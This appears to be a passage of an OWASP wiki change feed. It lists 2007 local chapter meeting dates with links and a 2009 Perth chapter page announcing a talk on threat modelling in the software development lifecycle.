'''Sept (12:00h) - [[Belgium|Belgium OWASP Day Event]] '''&lt;br /&gt;
&lt;br /&gt;
'''Sept 6 (18:00h) - [[Kansas_City|Kansas City Chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[Chicago|Chicago Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (17:00h) - [[Israel|Israeli chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Sept 5 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 25 (18:00h) - [[San Jose|San Jose Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 24 (17:00h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 (11:00h) - [[Turkey|Turkey chapter meeting - 1st Web Security Days]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 6 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 26 (11:30h) - [[Austin|Austin chapter meeting]]''' - Running Web Application Scans&lt;br /&gt;
&lt;br /&gt;
'''June 22 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 21 (19:00h) - [[Denver]]''' - Anti-DNS Pinning Attacks / Calculating Return on Security Investment (ROSI)&lt;br /&gt;
&lt;br /&gt;
'''June 19 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 (17:00h) - [[Spain|Spain chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 14 (08:00h) - [[Vietnam|Vietnam chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 13 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 (18:00h) - [[New York|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (19:00h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jun 5 (17:30h) - [[Houston | Houston Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (9:00h) - [[http://www.owasp.org/index.php/Italy#May_29th.2C_2007_-_Seminar:_.22Software_Security.22 Italy@Firenze Tecnologia]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 (11:30h) - [[Austin | Austin Chapter Meeting]]''' - Bullet Proof UI - A programmer's guide to the complete idiot&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
'''May 29 (18:00h) - [[Ottawa | Ottawa Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 (18:30h) - [[New Zealand|1st New Zealand chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 (14:00h) - [[Israel|2nd OWASP Israel mini conference]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 (11:00h) - [[Turkey|Turkey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (11:00h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 26 (17:00h) - [[Switzerland|Switzerland chapter meeting and &amp;quot;Swiss Security Dinner&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 24 (18:00h) - [[Minneapolis St Paul|Minneapolis St Paul chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 20 (19:00h) - [[Hong Kong|Hong Kong chapter meeting - Objectives for 2007]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 19 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 18 (17:00h) - [[San Francisco City Chapter Meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[New Jersey|NY/NJ Metro chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 17 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 12 (18:00h) - [[San Jose|San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 11 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 4 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Apr 3 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 30 - [[http://www.owasp.org/index.php/Italy#March_30th.2C_2007_-_Master_in_Security_-_University_of_Rome_.22La_Sapienza.22| Italy@Master in Security at &amp;quot;La Sapienza&amp;quot;]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 28 (11:30h) - [[San Antonio|San Antonio chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
; '''Mar 27-30 - [http://www.blackhat.com Black Hat Euro]'''&lt;br /&gt;
: OWASP members receive a Euro 100 Briefings discount by inserting BH7EUASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Mar 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 21-22 - [[Belgium#OWASP_Top_10_2007_Update_.28Infosecurity_Belgium.2C_21_.26_.2622_Mar_2007.29|Belgium@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 20 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 14 (18:00h) - [[Chicago|Chicago chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 13 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 8 (18:00h) - [[Ottawa|Ottawa Chapter Meeting]] '''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 7 (18:30h) - [[Kansas City|Kansas City chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[Philadelphia|Philadelphia chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:30h) - [[San Francisco|San Francisco and San Jose chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 5 (11:00h) - [[New Jersey|New Jersey chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Mar 1 (11:30h) - [http://www.eusecwest.com/agenda.html EUSecWest 07: Testing Guide]'''&lt;br /&gt;
&lt;br /&gt;
; '''Feb 26-Mar 1 - [http://www.blackhat.com Black Hat DC]'''&lt;br /&gt;
: OWASP members receive a $100 Briefings discount by inserting BH7DCASSOC in the box marked “Coupon Codes”&lt;br /&gt;
&lt;br /&gt;
'''Feb 28 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 27 (18:00h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:30h) - [[Helsinki|Helsinki chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 22 (18:00h) - [[London|London chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 21 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 19 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Washington DC|Washington DC (MD) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 15 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 14 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 13 (18:00h) - [[Ireland|Ireland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 12 (18:30h) - [[Switzerland|Switzerland chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 7 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6-7 - [[Italy#February_6th-8th.2C_2007_-_InfoSecurity|Italy@InfoSecurity]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 6 (18:00h) - [[Melbourne|Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Feb 2 (14:00h) - [[Chennai|Chennai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 31 (15:00h) - [[Mumbai|Mumbai chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 30 (11:30h) - [[Austin|Austin chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (18:00h) - [[San Francisco| San Francisco chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 25 (14:30h) - [[Italy#October_25th.2C_2007_-_Isaca_Rome|Italy@ISACA Rome]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 24 (17:30h) - [[Israel#6th_OWASP_IL_meeting:_Wednesday.2C_January_24th_2007|6th OWASP Israel chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 23 (18:00h) - [[Belgium|Belgium chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 22 (18:00h) - [[Rochester|Rochester chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 17 (18:30h) - [[Denver|Denver chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 16 (17:45h) - [[Edmonton|Edmonton chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Netherlands|Netherlands chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:30h) - [[Phoenix|Phoenix chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 11 (18:00h) - [[Virginia (Northern Virginia)|Washington DC (N. VA) chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 10 (18:00h) - [[Toronto|Toronto chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 8 (18:00h) - [[Seattle|Seattle chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''Jan 3 (18:30h) - [[Boston|Boston chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 1 - [[Melbourne | Melbourne chapter meeting]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 2 - [[Boston]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 6 - [[Turkey]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 8 - [[Virginia (Northern Virginia)|Washington DC (VA)]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 9 - [[Toronto]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 10 - [[Belgium]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 15 - [[Rochester]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 21 - [[Israel]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 22 - [[New Zealand]]'''&lt;br /&gt;
&lt;br /&gt;
'''May 29 - [[Italy]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Houston]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Melbourne]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 5 - [[Helsinki]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 12 - [[New Jersey]]'''&lt;br /&gt;
&lt;br /&gt;
'''June 15 - [[Spain]]'''&lt;br /&gt;
&lt;br /&gt;
'''July 14 - [[Turkey]]'''&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=51839</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=51839"/>
				<updated>2009-01-23T00:31:51Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Meeting ==&lt;br /&gt;
&lt;br /&gt;
A special joint event between [http://www.aisa.org.au/index.php?page=96 Perth's AISA chapter] and the OWASP Perth chapter.&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
=== About the presenter ===&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
 '''Date: Tuesday, 10 February 2009'''&lt;br /&gt;
 '''Location: The Ernst &amp;amp; Young Building, 11 Mounts Bay Rd'''&lt;br /&gt;
 '''Time: 5:15pm'''&lt;br /&gt;
 '''RSVP: by 05 February 2009 to [mailto:perth@aisa.org.au perth@aisa.org.au]'''&lt;br /&gt;
&lt;br /&gt;
-Updated 23/01/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	</feed>